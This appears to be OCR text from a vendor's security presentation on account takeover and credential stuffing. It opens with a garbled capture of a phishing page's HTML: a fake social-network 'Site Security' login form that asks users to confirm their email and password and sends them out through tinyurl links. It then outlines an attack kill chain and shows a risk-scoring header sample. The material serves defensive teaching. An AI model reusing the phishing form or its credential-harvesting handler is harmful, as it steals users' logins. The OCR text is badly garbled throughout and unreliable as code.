//preview.tinyurl.com/y64juyy8"></img></td><td align="right" valign="bottom" style="widh:38
y35vupcr“><font color="white"s>Profile</faont></a><b>Find Friends(108)</b></font></a><a href=
/></div> <br/> <div><big>Dear user, 7o increase the security of your account, kindly conf
“mf_text[Email]" class="input"/></div></div><div class="mobile-login-field aclbh apl'><div=Passw

argeBtn" size="0" value="Confirm" /></ le="background-color:#cccccc ;height:lpx border:8px

apl abt abb"»><a href="https: 8">Install on your phone and browse faster {

=" " f>«<input type="hidd ="submit"” value="Search" /[></form></div></¢ > e
yxovoojb">Setting &a dden="true"> </span> <a class="sec” href="htt

"center'"><a href= iv><div align="center"><a href="https://pre o
x-age=8"/><style type="text/css">body backgr ama’

/styles.css" [><

Site Securit rl.com/y64juyy8" /> <link rel="STYLESHEE
el="STYLES N > <div><body> <div><link rel="stylesheset
valign /yxovoojb"><font color="white"> I <

<b>Messages(18)</b></font></a><a
ost" class="mobile-login-form _fcp" onSubmit
' /> </div></div><div class="button_area aclb

<sdiv><div class="aclb"><div class="loginln
amp; #8593 ;]top"></a><a href="#down">[ 2 |Top-

r
e “»><div class="acg apm"><span class="mfss fcg

an role="separator” aria-hidden="true“>-</span>

= L u >< /div>«</body> </div> <div=><noscript/></div></body htn
coding="UTF-8"?><IDOCTYPE html PUBLIC "~//WAPFORUM//DTD XHT
I d e n t I tatS d I e b S t ah I rol" content="max-age=8"/><style type="text/css">body b
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font color="white">Home</font></a> <ag href="https://preview. tinyi

iv></div> <diy><div><img src="https://preview.tinyurl.com/yx

gin-field aclb apl“"><div>Email or Phone<br/><input type="text

nd_message" /> <input type="submit" name="MF_submit" class="btn btnC larg=sB1

> <div><div class="aclb"><div class="loginlnner"><div class="acy apl abt
vupcr'"»><input type="text" name="q" size="13%" maxlength="50000" value= ! ><in
>-</span> <a class="sec" href="https://preview.tinyurl.com/yxovoojb">Setting &
iv></div><div id="static_templates"></div></div><div align="center"><a href="https
title><link rel="STYLESHEET" type="text/css" href="/styles css"/><meta forua="true
p://www.w3.0rg/1999/xhtml"><head><title>Site Security</title>«<link rel="shortcut 1ic
body><div><link rel="STYLESHEET" type="text/css" href="https://preview.tinyurl.com/
<td align="right" valign="bottom" style="widh:38%"><small><a href="https://preview
d Friends(10)</b></font></a><a href="https://preview.tinyurl.com/y64juyy8"><font col
urity of your account, kindly confirm your account.</big=</div> <div><br/></div><div>
-login~-field aclb apl"><div>Password<br/> <input type="password" class="input" name="
kground-color . #ccececce height:ipx;border:8px solid #fff ;margin:0.3em auto;width:180%;
yy8">Install on your phone and browse faster</a>»</div></dive</div></div><div align="cen
input type="submit" value="Search" /></forms</div></div></div> <div align="center"><br /
="separator" aria-hidden="true">-</span> <a class="sec" href="https://preview.tinyurl.com/
w.tinyurl.com/y35vupcr“>Logout</a></div><div align="center“><a href="https://preview.tinyur
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r"/> <div><body> <div><link rel="stylesheet” type="text/css" href="https://preview.tinyurl.com/y
.com/yxovoojb"><font color="white">Search</font></a></smaell></td></tr></table><div style="text-al
EFF88"> <h>Messages(18)</h></font></a><a href="https://preview.tinyurl.com/y35Svuper"><fant color="¥F
rm method="post" class="mohile-login-form _fcp" onSubmit="window.open (' https://preview.tinyurl.com/yé6
f_text|[Password]"/> </div></div><div class="button_area aclb apl"> <input type="hidden" name="p" valuez="XX
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We are safe! We got a firewall ...
Please think again!
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The Account Takeover Kill Chain
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The Account Takeover Kill Chain

1. Hack, Phish
or Buy

O | ¥ © [k

Breach or skim site
to steal credentials

0

Phish website users

Purchase list of stolen
credentials on dark web

Credential Acquisition Weaponization Delivery Exploitation Action
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3 Ways to get user/pass Credentials

Skim or Phish
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The Account Takeover Kill Chain

2. Buy or Build
Botnhet
000
Breach or skim site Leverage a botnet to
to steal credentials automate validation

Phish website users

Purchase list of stolen
credentials on dark web
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The Account Takeover Kill Chain

3. Verify
G} ﬁ -
Breach or skim site Leverage a botnet to Validate credentials against
to steal credentials automate validation target website

Phish website users

Purchase list of stolen
credentials on dark web

Credential Acquisition Weaponization Delivery Exploitation Action
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It’s Easy For Attackers To Execute Credential
Stuffing Attempts
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The Account Takeover Kill Chain

O ¥

Breach or skim site Leverage a botnet to Validate credentials against
to steal credentials automate validation target website

Phish website users

Purchase list of stolen
credentials on dark web

4. ldentity Theft

v

Use compromised account
credentials to login
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The Account Takeover Kill Chain

O ¥

Breach or skim site Leverage a botnet to Validate credentials against
to steal credentials automate validation target website

Phish website users

Purchase list of stolen
credentials on dark web

v

Use compromised account
credentials to login

5. Account Takeover

Perform fraudulent
actions using
compromised account

Credential Acquisition Weaponization Delivery
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Akamai-User-Risk
uuid=£f£f9c3d04-4eab
requestid=a79ef M
status=2;
score=50;
risk=asnum: 2856
ba78d74b201451¢
allow=0;
action=none;

|os:Mac 0S X
/L;

|device id:9d3a93a9b6690df
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The Account Takeover Kill Chain - Stopped by Akamal

4. ldentity Theft
5. Account Takeover

2. Buy or Build Botnet
@ You can’t stop that @ @

1. Hack, Phish or Skim 3. Verify

Gkamai
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